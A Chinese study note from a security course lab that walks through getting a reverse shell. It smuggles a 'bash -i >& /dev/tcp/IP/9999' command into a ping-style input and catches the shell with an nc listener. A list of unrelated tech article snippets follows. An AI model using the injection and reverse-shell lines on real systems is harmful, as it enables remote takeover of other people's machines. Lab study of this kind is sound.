node.js 网站开发 公司 广州/广州网络营销
前言：小迪安全2022第一节反弹shell，小迪用的是两台都是云服务器，没有服务器可以在自己的主机上搭建也是可以的，主机上搭两个网站
思路：生成一个木马文件，下载到本机，然后利用本机上传到目标主机，执行反弹命令。
但是现在这个可以用bash反弹，在centos里面
正题：
在棱角社区，找到反弹shell
这个是写在被攻击机上的，写了这个就会将目标的控制台，返回到以下 bash -i >& /dev/tcp/127.0.0.1/8080 0>&1（错误）
127.0.0.1 & bash -i >& /dev/tcp/192.168.1.150/9999 0>&1（正确）
然后在攻击机上监听上这个端口，监听本地端口的8080
nc64.exe -lvvp 9999 //注意加地址好像会监听失败
做的过程中的问题
在本地监听9999端口，然后在被攻击机上发送对方的控制台给我的本机，
但是结果失败了。
127.0.0.1 & bash -i >& /dev/tcp/192.168.1.150/9999 0>&1（正确）
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1（错误）
相关文章：
命令执行简单（棱角社区有毒）
前言：小迪安全2022第一节反弹shell，小迪用的是两台都是云服务器，没有服务器可以在自己的主机上搭建也是可以的，主机上搭两个网站 思路：生成一个木马文件，下载到本机，然后利用本机上传到目标主机…...
Keil基于ARM Compiler 5的工程迁移为ARM Compiler 6的工程
环境： keil版本为5.38，版本务必高于5.30 STM32F4的pack包版本要高于2.9 软件包下载地址：https://zhuanlan.zhihu.com/p/262507061 一、更改Keil中编译器 更改后编译，会报很多错，先不管。 二、更改头文件依赖 观察…...
Kafka-创建topic源码
一、命令创建topic kafka-topics --create --topic quickstart-events --bootstrap-server cdh1:9092 --partitions 2 --replication-factor 2 二、kafka-topics脚本 exec $(dirname $0)/kafka-run-class.sh org.apache.kafka.tools.TopicCommand "$" 脚本中指定了…...
【网络安全】(一) 0成本添加访问级监控
互联网的安全感这个概念源于阿里。顾名思义，让互联网的用户对于web产品能够产生足够的信任和依赖。特别是涉及到用户资金交易的站点，一次严重的用户资料泄露就可以彻底毁掉你的品牌。 然而当前阶段除了bat大部分互联网行业的企业对于网络安全给的重视都…...
【Three.js基础学习】26. Animated galaxy
前言 shaders实现星系 课程回顾 使用顶点着色器为每个粒子设置动画 a属性 ， u制服 ，v变化 像素比：window.devicePixelRatio 自动从渲染器检索像素比 renderer.getPixelRatio() 如何尺寸衰减， 放大缩小视角时，粒子都是同…...
vscode使用ssh配置docker容器环境
1 创建容器，并映射主机和容器的指定ssh服务端口 2 进入容器 docker exec -it <容器ID> /bin/bash 3在容器中安装ssh服务 apt-get update apt-get install openssh-server 接着修改ssh文件信息,将容器的10008端口暴露出来允许root用户使用ssh登录 vim /…...
NLP论文速读（EMNLP 2024）|动态奖励与提示优化来帮助语言模型的进行自我对齐
论文速读|Dynamic Rewarding with Prompt Optimization Enables Tuning-free Self-Alignment of Language Models 论文信息： 简介: 本文讨论的背景是大型语言模型（LLMs）的自我对齐问题。传统的LLMs对齐方法依赖于昂贵的训练和人类偏好注释&am…...
【LeetCode】167. 两数之和 II - 输入有序数组
描述 给定一个下标从 1 开始的整数数组numbers，该数组已按非递减顺序排列，请从数组中找出满足相加之和等于目标数target的两个数。如果这两个数分别是numbers[index1]和numbers[index2]，返回整数数组[index1, index2]。 只存在唯一答案&#…...
Getx：GetxController依赖管理02，Binding绑定全局控制器（懒加载Controller）
在使用GetX 状态管理器的时候，如果每个页面都手动实例化一个控制器就太麻烦了， Binding 的作用就是所有需要进行状态管理的控制器进行统一初始化 创建全局控制器Binding import package:get/get.dart; import ../controllers/counter.dart; // 同上一篇内…...
leetcode 找不同
389. 找不同 已解答 简单 相关标签 相关企业 给定两个字符串 s 和 t ，它们只包含小写字母。 字符串 t 由字符串 s 随机重排，然后在随机位置添加一个字母。 请找出在 t 中被添加的字母。 示例 1： 输入：s "abcd"…...
2025 - 生信信息学 - GEO数据分析 - RF分析（随机森林）
GEO数据分析 - RF分析（随机森林） 01 准备数据文件 #install.packages("randomForest")#引用包 library(randomForest) set.seed(123456)inputFile"diffGeneExp.txt" #输入文件 setwd("/Users/wangyang/Desktop/BCBM/02ra…...
Matlab深度学习（四）——AlexNet卷积神经网络
网络搭建参考：手撕 CNN 经典网络之 AlexNet（理论篇）-CSDN博客 在实际工程应用中，构建并训练一个大规模的卷积神经网络是比较复杂的，需要大量的数据以及高性能的硬件。如果通过训练好的典型网络稍加改进…...
etcd defrag
场景 prometheus监控告警，告警信息如下 etcd cluster "kube-etcd": database size in use on instance xx is 33.45% of the actual allocated disk space, please run defragmentation (e.g. etcdctl defrag) to retrieve the unused fragmented disk space.处理…...
golang语言整合jwt+gin框架实现token
1.下载jwt go get -u github.com/dgrijalva/jwt-go2.新建生成token和解析token文件 2.1 新建common文件夹和jwtConfig文件夹 新建jwtconfig.go文件 2.2 jwtconfig.go文件代码 /* Time : 2021/8/2 下午3:03 Author : mrxuexi File : main Software: GoLand */ package jwtC…...
数据治理、数据素养和数据质量管理：文献综述
注意：这并不是正式发表的论文，只是一篇用来交作业的文章 摘要 随着数据时代的到来，数据治理、数据素养和数据质量管理成为组织数据管理中的三大核心概念。本文基于相关研究与实践，对这三个领域进行全面综述，探讨它…...
【Linux】用户和用户组管理
管理用户 1．添加用户账号——useradd命令 【实例2-1-1】 按系统默认配置添加指定用户账号st和stu。 # 添加用户账号st [rootlocalhost ~]# useradd st # 添加用户账号stu [rootlocalhost ~]# useradd stu【实例2-1-2】添加用户账号stu01，UID为1004&am…...
游戏引擎学习第16天
视频参考:https://www.bilibili.com/video/BV1mEUCY8EiC/ 这些字幕讨论了编译器警告的概念以及如何在编译过程中启用和处理警告。以下是字幕的内容摘要： 警告的定义：警告是编译器用来告诉你某些地方可能存在问题，尽管编译器不强制要求你修复…...
如何通过对敏捷实践的调整，帮助远程团队提升研发效能？
首先明确一点，最敏捷的做法就是不要远程团队或分布式团队，远程一定比不上面对面同一地点的模式，毕竟环境不同，就不要期望远程团队和本地团队具备相同的效能，甚至期望更高。 那么，无论何种原因，…...
Ubuntu Linux使用前准备动作 配置SSH
在 Ubuntu 系统中配置 SSH 服务可以通过以下步骤进行： 1、安装ssh服务 1）打开终端（可以使用快捷键 Ctrl Alt T）。 2）运行以下命令安装 OpenSSH 服务器： sudo apt-get update：这一步是更新…...
疫情下的图书馆管理系统：Spring Boot技术
摘要 随着信息技术在管理上越来越深入而广泛的应用，管理信息系统的实施在技术上已逐步成熟。本文介绍了疫情下图书馆管理系统的开发全过程。通过分析疫情下图书馆管理系统管理的不足，创建了一个计算机管理疫情下图书馆管理系统的方案。文章介绍了疫情下图…...
vue3完整安装并创建项目
1、下载：https://npmmirror.com/mirrors/node/v18.19.0/node-v18.19.0-x64.msi 2、验证Nodejs是否安装成功（管理员身份运行cmd） node -v #查看nodejs的版本 v18.19.0npm -v #查看npm的版本 10.2.3 3、在D:\Program Files\nodejs路径下创建两…...
【Linux】Linux入门实操——进程管理（重点）
1. 概述 在 LINUX 中，每个执行的程序都称为一个进程。每一个进程都分配一个ID号(pid,进程号)。>windows > linux每个进程都可能以两种方式存在的。前台与后台，所谓前台进程就是用户目前的屏幕上可以进行操作的。后台进程则是实际在操作࿰…...
Linux-Apache
文章目录 Apache基础配置 🏡作者主页：点击！ 🤖Linux专栏：点击！ ⏰️创作时间：2024年11月19日12点20分 Apache Web服务器用来实现HTTP和相关TCP连接的处理，同时负责所提供资源的管理…...
高危，Laravel参数注入漏洞安全风险通告
今日，亚信安全CERT监控到安全社区研究人员发布安全通告，披露了Laravel 参数注入漏洞(CVE-2024-52301)。在受影响的版本中，Application.php 文件的 detectEnvironment 函数直接使用了 $_SERVER[argv]，但没有检查运行环境是否为 CLI…...
【Qt】使用QString的toLocal8Bit()导致的问题
问题 使用Qt发送一个Http post请求的时候，服务一直返回错误和失败信息。同样的url以及post参数，复制黏贴到postman里就可以发送成功。就感觉很神奇。 原因 最后排查出原因是因为参数中含有汉字而导致的编码问题。 在拼接post参数时，使用了…...
Android上运行Opencv（TODO）
在高通安卓平台上，确实可以通过 NDK 使用 OpenCV 并访问摄像头。NDK 提供了更高性能的计算能力，特别是在图像处理和计算密集型任务中，与 OpenCV 结合可以充分利用高通平台的硬件资源（如 NEON SIMD 指令集和 GPU 加速）。…...
动态IP黑白名单过滤的设计与实现（上篇设计思想）
文章目录 需求分析方案设计1、设计过程2、最终方案3、扩展知识 - 布隆过滤器 需求分析 一些恶意用户（可能是黑客、爬虫、DDoS 攻击者）可能频繁请求服务器资源，导致资源占用过高。因此我们需要一定的手段实时阻止可疑或恶意的用户，…...
LeetCode 力扣 热题 100道（五）最长回文子串（C++）
最长回文子串 给你一个字符串 s，找到 s 中最长的 回文子串。 回文性 如果字符串向前和向后读都相同，则它满足 回文性 子字符串子字符串 是字符串中连续的 非空 字符序列。 动态规划法 class Solution { public:string longestPalindrome(string s) {i…...
Docker--Docker Registry(镜像仓库）
什么是Docker Registry？ 镜像仓库（Docker Registry）是Docker生态系统中用于存储、管理和分发Docker镜像的关键组件。 镜像仓库主要负责存储Docker镜像，这些镜像包含了应用程序及其相关的依赖项和配置，是构建和运行Doc…...
maven手动上传jar到私服仓库：mvn deploy:deploy-file命令
一、场景 现需要将公司内部的jar包上传到私服仓库，供其他同事使用，此时就需要用到mvn deploy:deploy-file命令。 二、 mvn deploy:deploy-file命令 举个栗子： mvn deploy:deploy-file -DgroupIdorg.pttsql -DartifactIdpttsql -Dversi…...